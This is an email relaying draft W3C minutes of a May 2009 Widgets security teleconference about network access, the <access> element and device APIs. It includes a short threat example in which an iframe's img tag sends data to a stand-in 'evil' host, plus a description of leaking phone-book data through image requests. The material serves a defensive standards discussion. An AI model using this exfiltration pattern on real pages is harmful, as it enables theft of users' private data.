The draft minutes from the May 19 Widgets Security voice conference
are available at the following and copied below:
<http://www.w3.org/2009/05/19-wam-minutes.html>
WG Members - if you have any comments, corrections, etc., please send
them to the public-webapps mail list before 21 May 2009 (the next
Widgets voice conference); otherwise these minutes will be considered
Approved.
Note the following RESOLUTION is not displayed in bold red text and
I will see that formatting error is fixed:
[[
RESOLUTION: work on the Widget Network Access specification
(or other name) is very high priority
]]
-Regards, Art Barstow
[1]W3C
[1] http://www.w3.org/
- DRAFT -
Widgets Security Model Voice Conf
19 May 2009
[2]Agenda
[2] http://lists.w3.org/Archives/Public/public-webapps/
2009AprJun/0539.html
See also: [3]IRC log
[3] http://www.w3.org/2009/05/19-wam-irc
Attendees
Present
Art, Thomas, Jere, Robin, Marcos, Arve
Regrets
Chair
Art
Scribe
ArtB, darobin
Contents
* [4]Topics
1. [5]Widget Security Model
* [6]Summary of Action Items
_________________________________________________________
<ArtB> ScribeNick: ArtB
<darobin> marcos is in a bad mood :)
Date: 19 May 2009
<Marcos> dialing in..
<scribe> ScribeNick: darobin
Widget Security Model
AB: there has been discussion on the list
<ArtB> AB: new thread was started
[7]http://www.w3.org/mid/b21a10670905190218k2645cf5dh5506bdf7be24333
[email protected]
[7] http://www.w3.org/mid/
[email protected]
AB: there seems to be agreement between some of TLR and MC, and
Vodafone supports TLR's model
... Arve is not happy with either proposal
Arve: I think we have an irreconcialable difference between two app
models for the web
... one in which you have the traditional model under the html5
model largely
... I'm fine with supporting that model, but that model's security
breaks down as soon as you allow access to an extended API (e.g. FS,
phone book, anything sensitive)
... that model, given how it handles inline content, become useless
... the diff between stealing data from that device whether you
allow XD XHR or not is none
... if I read all the phone book
... I can just pass it through an img object
... and send it bit by bit within that secrity model
... you're on your own if you don't restrict that
... we need to restrict that model further the moment you put
anything in a feature element
... in terms of supporting models I see why we want to support the
html5 model because then you can synthesise widgets from existing
sources — I support that
... but that model can never be used in conjunction with sensitive
APIs — which is my entire protest
... then there's the question of what is the default, and what
happens if the widget requires the html5 model and a sensitive API
at the same time
AB: trying to understand:
<ArtB> AB: Arve's email
[8]http://www.w3.org/mid/op.ut6avtgrbyn...@galactica
[8] http://www.w3.org/mid/op.ut6avtgrbyn...@galactica
AB: you conclude with the strong statement that removign the access
element from 1.0 and putting it into 2.0 is something you would not
support even if it means delaying
... we need to discuss that too
TLR: what I hear Arve say is that in the moment a widget touches
anything feature-enabled, the widget must not access the network
Arve: it must have no entry point to the network that is not
declared
TLR: there are two ways to satisfy this requirement
... one is if you have <feature>, access may not occur or
implementations decide
... the other is the fine grained thing where you're puytting the
control of the data under the entity running the widget, and you
move the responsibility there
Arve: for any data that is put into the cloud you need to trust who
you give it to
... you implicitly trust Google not to do any bad between with your
GMail phone book
... the trust between a third party and the user, and not of our
concern
... it's one thing to inject content that is misinterpreted, and in
that case our responsibility is to ensure that when Alice and Bob
talk to each other we provide a mechanism to make sure they stay
safe
... what I'm trying to ensure is that information from a feature-API
should not get anywhere it shouldn't
TLR: are you assuming all those APIs are read-only?
Arve: no
... RW APIs are a different ball park
... we can't ensure that no data destruction happens — simply that
it doesn't get into the wrong hands
TLR: if you have an SMS API, you have a potential leak anyway
... could you live with within the scope of the 1.0 spec there is no
specified model if both feature and access are present
... IOW if someone uses feature APIs UAs could impose a restriction
... if feature is used, you are not guaranteed any access to the
network
<arve> Zakim: q+
TLR: my goal is to not create an almost-html5 model that will then
constrain DAP
AB: I support that kind of proposal, and would like to make sure
that we don't take on the work of the DAP WG and solve everything
here
... and that what we do provides a reasonably transition path
JK: looking at the discussion, it seems to me that the access and
the feature elements are quite orthogonal, they don't govern the
same kind of access
... it's futile to try to shoehorn them into the same model
... a device API security model and a generic network access model
are orthogonal, it's probably not fruitful to discuss them both at
the same time
... so it's up to DAP to define the further security model for those
API, we could farm these things out like we did for the update
element
... we are feature-complete for packaging, we could go ahead with
that
Arve: going back to the almost-html5 model, the problem with the
same-origin policy is that it locks access to already useful API,
which is unfortunate
... 1000s of widgets already written have made use of non-restricted
x-domain policy
... it is unfortunate if those cannot be solved within the new model
<tlr> I wasn't even talking about cross-origin, and would note that
access actually covers that.
Arve: the other bit is also that while I agree that the security
model of APIs v access are orthogonal, there are good reasons to say
that a given API would require a different security model
... in which case using an API alters the security model of the
widget
... I'm not sure we want to allow a random resource in an API to
alter to SM and leave the SM to that API because it will be
misused/misunderstood
... someone will come up with an API that will open up too many
things, or incompatible implementations
... as much as I'd like to deal with this later, but in the meantime
we'll grow incompatible implementaions
<tlr> darobin: getting slightly confused
<tlr> ... discussion crossing ...
<tlr> ... model as understand it ...
<tlr> ... "anything that comes from the widget is under control of
access and feature, anything referenced outside, is under web model"
...
<tlr> ... those things don't communicate that much ...
<tlr> ... perhaps a few issues with script references ...
<tlr> ... don't think this increases attack surface that much ...
<tlr> ... if we restrict original content, then have useful level of
security ...
<tlr> ... don't see attacks as being any more important than what we
already see today ...
Arve: I would like to point out a collision
<arve> <iframe src="foo?bar=baz"> where iframe body is: <img
src="evil/?bar=baz" />
Arve: the content of the iframe is compromised
... you send data to a compromised document, which then sends it on
widget A passes data to iframe B, which it has access to because of
<access>
<arve> yes
and B is compromised by C, which gets the data too
<arve> yes
Arve: the essential difference is that you can compromise iframe B's
webserver, or you can compromise it with XSS
RB: how is that different from GMail being XSS'ed?
Arve: the difference is that your GMail is compromised — but that's
not the same as local to your system
RB: but that is already the case if Flickr or PayPal is compromised
Arve: say C forces the device to perform an action that has direct
monetary consequences
RB: you don't grant access to B to all APIs in the same way that you
don't give all your private info to a single website
... if you did grant widget B with access to everything, it is
exactly like granting a single website with access to all of the
same
... so basically the issue is exactly the same as trusting a website
... if you give B a lot of power, and it's compromised, then you're
screwed in the same way on the web and in a widget
AB: would it be useful for us to go through the proposed model
<Marcos> +q
<ArtB> AB: tlr's model is:
[9]http://www.w3.org/mid/[email protected]
[9] http://www.w3.org/mid/8273305F-
[email protected]
Arve: I haven't responded to tlr's model yet
AB: we've agreed that we were feature-complete, and we weren't going
to define a complete security model
... I'm surprised that Opera is coming back months later with it,
and that it should block LC
Arve: the last public WD had the access element — what I'm trying to
say is that the access element behaviour is underspecified
... it's within the scope, we're saying what a widget can access
... the access element has always been underspecified in terms of
which requirements it is addressing and what an implementation
should do
... so it's not about being feature complete, it's about whether
we're done with that feature
<Marcos> +q
AB: Marcos says we could defer the SM to the UA, not make it a
dependency that we have to solve
... that's the model we've had all along and your proposal seems to
change that
Arve: I think it changes one thing: it would apply for two distinct
security models to apply to a widget
<Marcos> +q +q +q :)
Arve: I'm not saying that the html5 shouldn't be used, but that it's
not useful for all cases
... we can then specify access for an unwebbish SM
AB: do you guys see a compromise here that you could both live with,
and could be specified this week
TLR: my question to JK is that I realise the orthogonality and agree
with the argument, but could you live with a model that says they're
orthogonal but we don't knwo what the model will be if we go into
that plain
... queston to Arve: could you live, for 1.0, with a spec that does
not say what happens if you have both access and feature
... I don't like that but I could live with it
Arve: I agree that these issues are orthogonal
<Marcos> -q
Arve: there are times when you would want to limit access even when
you have no APIs
TLR: the question is how much do we need to cover here
JK: I would say not a lot because anything we do can clash with DAP
Marcos: I had incorrectrly assumed that HTML5 had defined what would
apply here, and doesn't consider html attachment as part of its SM
TLR: we can use that model, and define what origin is and that sort
of thing
... and then for any content FROM THE WEB (iframe) that that one has
the HTML SM instead of a custom one — that's the disagreement
Arve: compromise: can we have an addition attribute to access to
switch between models
... one is origin-based
... ie what HTML UAs use
... the other is access-based network policy
... in which case there is full x-domain capabilities and access is
completely restricted arbitrary levels downs
... and constrained by the policy
... it doesn't need to be long to specify, it only needs to specify
how access network policy is defined
JK: to expedite PC 1.0, given that access is a runtime issue — not
packaging — it should be put into a separate spec so we can finish
PC and we can work on security in peace
TLR: if that's the proposal, then why do we need an access policy in
PC at all
... some of this discussion tastes like leaving access unspec'ed for
now
AB: two variations, one is to move access to a separate spec and
break the dependency but still consider it part of 1.0 suite of
specs
... and the variation on that is what Marcos proposed which is to
make it part of 2.0
... my concern with the latter is that it has unbounded time
TLR: third proposal is to put it inside DAP, which conceptually I
think it belongs
Arve: my main beef is that I fear that they will result in us not
having a specified behaviour before 2011
AB: I challenge that — if we want it, and members push it forward
rapidly it can start today
... I don't at all thikn that the work should stop — but rather we
should back up and enumerate requirements, make sure we get it
right, rather that do this under time pressure
... I don't see any benefit in having PC be blocked by this
... if we want an interoperable market, PC must proceed rapidly
Arve: in principle I agree with this
... it's really*N hard for me to think that leaving this undefined
soves problems in any timeframe
AB: I don't think work stops
... other benefit is that it makes it a lot more tractable for
others to review
... we all know that for any security realted work we need to
broaden the scope of reviewers
<Marcos> +q
Arve: ok, but we need to say something about how network access is
derived
... you're proposing to rip access out and put it in its own spec
MC: for me it makes sense to move it out
... the UA doesn't really control network access as defined in PC
... all it does is look at the package — it doesn't do anything at
runtime
... it's a dumb piece of code
... if we keep it that way then it's okay to pull it out
Arve: as long as this work can be fast-tracked
... we just say that the network access model is unspecified, or
that it is not expected to access network at all if there is no
access
AB: if you look at it form a modularisation POV it doesn't seem to
need to say anuything about access
... just like update — same rationale
Arve: fine — but we need something this year
AB: I'm more than happy to support this spec being moved forward
quickly
MC: it will make things faster if we move it, that way I can focus
on PC
... then we can focus all our energy, we have half the text done,
there's no reason why we can't have it done quickly
... it ought to be 4-5 pages at the most
Arve: I'm fine with that
TLR: moving out ok, but the question is whether the work is started
here or started in another WG
Arve: I don't support moving it to another WG
... I really think it's within the scope of this WG
AB: I'm willing to support Arve on that
... the reality is that there will be significant overlap between
DAP and WebApps so I'm confident that those two groups will work
toegther
TLR: goal wise I think we agree that access should be move out of
PC, and that it ought to meet both WG's requirements
... the practicalities (one or the other WG, TF) can wait
JK: +1
<Marcos> MC: +!
RB: +1
<Marcos> MC: +1 even
RESOLUTION: access is dropped from P+C and moved to its own
specification
... work on the Widget Network Access specification (or other name)
is very high priority
AB: editors?
Arve: I am willing to do it if no one else steps up
... I have a lot of bg material we can reuse
TLR: I'm happy with Arve to be an editro, I'm not volunteering
RESOLUTION: the access specification will need to meet both WebApps
and DAP requiremetns
MC: moving out the feature element?
AB: fine with me
Arve: I'd like to sleep on it
AB: I'll queue that up for Thursday
Arve: holiday, might not be there
TLR: have partial conflict
AB: we're talking about moving feature to another spec
TLR: in scope for DAP
AB: right
TLR: which WG it happens in or TF, is a question we can handle later
AB: I will include the proposal to move feature into another spec,
and leave people 48h to speak up
MC: I'll remove access from the spec today
Arve: but you should say where it can be found
MC: no brainer
AB promises beer all around
ADJOURNED
ArtB: you send out the minutes?
<ArtB> yes, darobin. Thanks Again!
thanks: )
Summary of Action Items
[End of minutes]
[15] http://dev.w3.org/cvsweb/~checkout~/2002/scribe/scribedoc.htm
